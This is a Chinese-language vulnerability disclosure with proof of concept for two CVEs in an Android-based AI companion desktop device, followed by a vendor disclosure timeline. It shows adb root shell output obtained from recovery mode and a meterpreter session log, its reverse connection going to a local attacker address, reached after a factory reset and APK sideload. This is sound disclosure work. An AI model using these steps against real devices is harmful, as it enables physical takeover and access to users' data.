CVE-2026-36027 和 CVE-2026-36028 的概念验证
Code 27 3D Companion Hub 是一款实体桌面设备,可渲染定制的 AI 角色("Codie")作为动画化的 3D 伴侣。用户可以上传或创建任意 3D 模型,多模态 AI 使角色能够观察周围环境、读取语气和肢体语言,并进行开放式对话。
本文涉及两个需要物理接触设备的漏洞。两者均在以下构建版本上验证,且在发布时尚未修补。
| 字段 | 值 |
|---|---|
| 产品 | Code 27 3D Companion Hub |
| Companion Hub 用户界面版本 | 1.2.0 |
| SoC / 主板 | Rockchip RK3588S(rk3588s_yt921) |
| 操作系统 | Android 12 |
| 构建 ID | SQ3A.220705.003.A1 |
| 完整指纹 | rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys |
| 构建类型 | userdebug / release-keys |
出厂固件为 userdebug 构建(在 recovery 横幅和 ro.build.display.id 中可见)。userdebug 构建允许通过 adb root 以 root 身份重启 adbd,这是 CVE-2026-36027 存在的关键因素。
物理接近的攻击者可以将 Companion Hub 启动至 Android recovery,并获得具有 root 权限的 ADB shell(uid=0,SELinux 上下文 u:r:su:s0)。由于设备出厂时带有 userdebug 构建,因此可以使用 adb root 以 root 身份重启 adbd,从而使攻击者能够对 recovery 环境进行读写交互、枚举构建和硬件属性,并访问 recovery 功能(sideload、fastboot、分区操作)。
所获得的访问权限限于 recovery ramdisk 内,而非实时的 Android 运行时。在测试中,recovery 的 “挂载 /system” 操作失败(libfs_mgr 无法打开 /dev/block/by-name/system),因此系统分区未通过此路径直接挂载,且已启动的用户环境(包括 kiosk 和任何已解密的用户数据)在此模式下不可见。
这一点仍然重要,因为对 recovery 环境的 root 访问是修改持久设备状态(例如写入分区或应用特制的更新包)的基础,从而可以在后续正常启动时运行攻击者控制的代码,在实时设备上建立立足点。
Mount /system,高亮该选项并确认。该操作似乎会失败。这是预期行为,漏洞利用仍然有效。(recovery 日志显示 libfs_mgr 无法打开 /dev/block/by-name/system。)PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193 recovery
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12
# ls -la
total 840
drwxrwxrwt 33 root root 1040__bionic_open_tzdata: couldn't find any tzdata when looking for Asia/Shanghai!
1970-01-01 00:00 .
drwxrwxrwt 33 root root 1040 1970-01-01 00:00 ..
drwxr-xr-x 2 root root 40 1970-01-01 00:00 acct
drwxr-xr-x 2 root root 40 1970-01-01 00:00 apex
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 bin -> /system/bin
lrwxrwxrwx 1 root root 50 1970-01-01 00:00 bugreports -> /data/user_de/0/com.android.shell/files/bugreports
drwxr-xr-x 2 root root 40 1970-01-01 00:00 cache
drwxr-xr-x 3 root root 0 1970-01-01 00:00 config
lrwxrwxrwx 1 root root 17 1970-01-01 00:00 d -> /sys/kernel/debug
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data_mirror
drwxr-xr-x 2 root root 40 1970-01-01 00:00 debug_ramdisk
lrwxrwxrwx 1 root root 12 1970-01-01 00:00 default.prop -> prop.default
drwxr-xr-x 15 root root 1380 1970-01-01 00:00 dev
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 etc -> /system/etc
lrwxrwxrwx 1 root root 16 1970-01-01 00:00 init -> /system/bin/init
-rwxr-x--- 1 root root 662 1970-01-01 00:00 init.recovery.rk30board.rc
drwxr-xr-x 2 root root 60 1970-01-01 00:00 linkerconfig
drwxr-xr-x 12 root root 4096 1970-01-01 00:00 metadata
drwxr-xr-x 8 root system 160 1970-01-01 00:00 mnt
drwxr-xr-x 2 root root 240 1970-01-01 00:00 odm
drwxr-xr-x 2 root root 60 1970-01-01 00:00 odm_dlkm
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 oem
drwxr-xr-x 3 root root 260 1970-01-01 00:00 pcba
-rw-r--r-- 1 root root 47253 1970-01-01 00:00 plat_file_contexts
-rw-r--r-- 1 root root 76958 1970-01-01 00:00 plat_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 postinstall
dr-xr-xr-x 220 root root 0 1970-01-01 00:00 proc
drwxr-xr-x 2 root root 40 1970-01-01 00:00 product
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_property_contexts
-rw-r--r-- 1 root root 14023 1970-01-01 00:00 prop.default
drwxr-xr-x 3 root root 60 1970-01-01 00:00 res
drwx------ 2 root root 40 2026-02-03 06:23 root
drwxr-xr-x 2 root root 60 1970-01-01 00:00 sbin
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sdcard
drwxr-xr-x 2 root root 40 1970-01-01 00:00 second_stage_resources
-rw-r--r-- 1 root root 658375 1970-01-01 00:00 sepolicy
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sideload
drwxr-x--x 2 root root 40 1970-01-01 00:00 storage
dr-xr-xr-x 14 root root 0 1970-01-01 00:00 sys
drwxr-xr-x 5 root root 100 1970-01-01 00:00 system
drwxr-xr-x 2 root root 40 1970-01-01 00:00 system_ext
-rw-r--r-- 1 root root 177 1970-01-01 00:00 system_ext_file_contexts
-rw-r--r-- 1 root root 1889 1970-01-01 00:00 system_ext_property_contexts
drwxrwxr-x 2 root shell 40 1970-01-01 00:00 tmp
drwxr-xr-x 3 root root 60 1970-01-01 00:00 vendor
drwxr-xr-x 2 root root 60 1970-01-01 00:00 vendor_dlkm
-rw-r--r-- 1 root root 25441 1970-01-01 00:00 vendor_file_contexts
-rw-r--r-- 1 root root 4395 1970-01-01 00:00 vendor_property_contexts
从 recovery 菜单执行恢复出厂设置会擦除存放 kiosk 应用程序的 userdata 分区。由于 kiosk 不属于系统分区,重启后不会恢复,设备将启动到标准的、无限制的 Android 环境(启动器、网页浏览器、文件管理器、设置和其他系统应用程序)。
在此无限制环境中,攻击者可以重新启用开发者选项/USB 调试、侧载任意 APK 并执行,从而在实时操作系统上获得 shell。在测试中,这生成了一个以非特权应用程序用户 u0_a79 运行的 meterpreter 会话——与 CVE-2026-36027 中 recovery 模式 root shell 的权限和数据上下文不同,因为它是针对实时启动的操作系统而非 recovery ramdisk 运行的。在此状态下植入并运行的代码作为正常设备操作的一部分执行,使攻击者能够交互控制设备及其用户可访问的文件系统。
Wipe data/factory reset 并确认擦除。
[*] Sending stage (72424 bytes) to 10.0.0.48
[*] Meterpreter session 2 opened (10.0.0.224:8000 -> 10.0.0.48:58094) at 2026-02-20 19:06:47 -0500
meterpreter > getuid
Server username: u0_a79
meterpreter > cd /
meterpreter > ls
Listing: /
==========
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 acct
040554/r-xr-xr-- 480 dir 1969-12-31 19:00:03 -0500 apex
040110/--x--x--- 8192 dir 2008-12-31 19:00:00 -0500 bin
000000/--------- 0 fif 1969-12-31 19:00:00 -0500 bugreports
040000/--------- 4096 dir 1969-12-31 19:00:04 -0500 cache
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:00 -0500 config
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:00 -0500 d
040110/--x--x--- 4096 dir 2026-02-03 01:27:34 -0500 data
040000/--------- 120 dir 1969-12-31 19:00:04 -0500 data_mirror
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 debug_ramdisk
040554/r-xr-xr-- 1760 dir 2026-02-03 01:27:34 -0500 dev
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 etc
100554/r-xr-xr-- 1997584 fil 2008-12-31 19:00:00 -0500 init
100000/--------- 463 fil 2008-12-31 19:00:00 -0500 init.environ.rc
040554/r-xr-xr-- 240 dir 1969-12-31 19:00:03 -0500 linkerconfig
040000/--------- 16384 dir 2008-12-31 19:00:00 -0500 lost+found
040554/r-xr-xr-- 4096 dir 1969-12-31 19:00:04 -0500 metadata
040554/r-xr-xr-- 360 dir 1969-12-31 19:00:05 -0500 mnt
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 odm
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 odm_dlkm
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 oem
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 postinstall
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:02 -0500 proc
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 product
040776/rwxrwxrw- 3452 dir 2026-02-03 01:27:39 -0500 sdcard
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 second_stage_resources
040110/--x--x--- 80 dir 1969-12-31 19:00:04 -0500 storage
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:02 -0500 sys
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:54 -0500 system
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 system_ext
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:54 -0500 vendor
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 vendor_dlkm
| 日期 | 事件 |
|---|
| 2026-02-17 | 两个漏洞已披露给 Code 27 团队并得到确认。 |
| 2026-02-17 | 两个 0-day 漏洞已报告给 MITRE。 |
| 2026-02-18 | Code 27 团队讨论了解决方案计划,收集了额外信息,并表示将修复。 |
| 2026-06-15 | MITRE 分配了 CVE-2026-36027 和 CVE-2026-36028。 |
| 2026-06-15 | 通知 Code 27 分配情况;初次联系人将信息转发给安全团队进行构建审查。 |
| 2026-06-16 | Code 27 安全团队再次要求提供完整的技术细节。 |
| 2026-06-17 | 再次向安全团队提供了完整的技术细节。 |
| 2026-06-18 | 安全团队无回应。 |
| 2026-06-19 | Code 27 代表表示公司通常有 90 天时间解决安全问题,且安全团队已知情。代表被告知问题已在 120 多天前报告。设定了 7 月 1 日的披露截止日期。 |
| 2026-06-25 | 联系 Code 27 安全团队,确认最终截止日期警告和发布事宜。 |
| 2026-06-28 | Code 27 道歉,确认了 CVE 标识符和披露截止日期,并表示将在 7 月 1 日前发送公开公告和链接。 |
| 2026-07-01 | 就公告状态联系 Code 27;无回应。 |
| 2026-07-02 | 已发布未修补漏洞详情。 |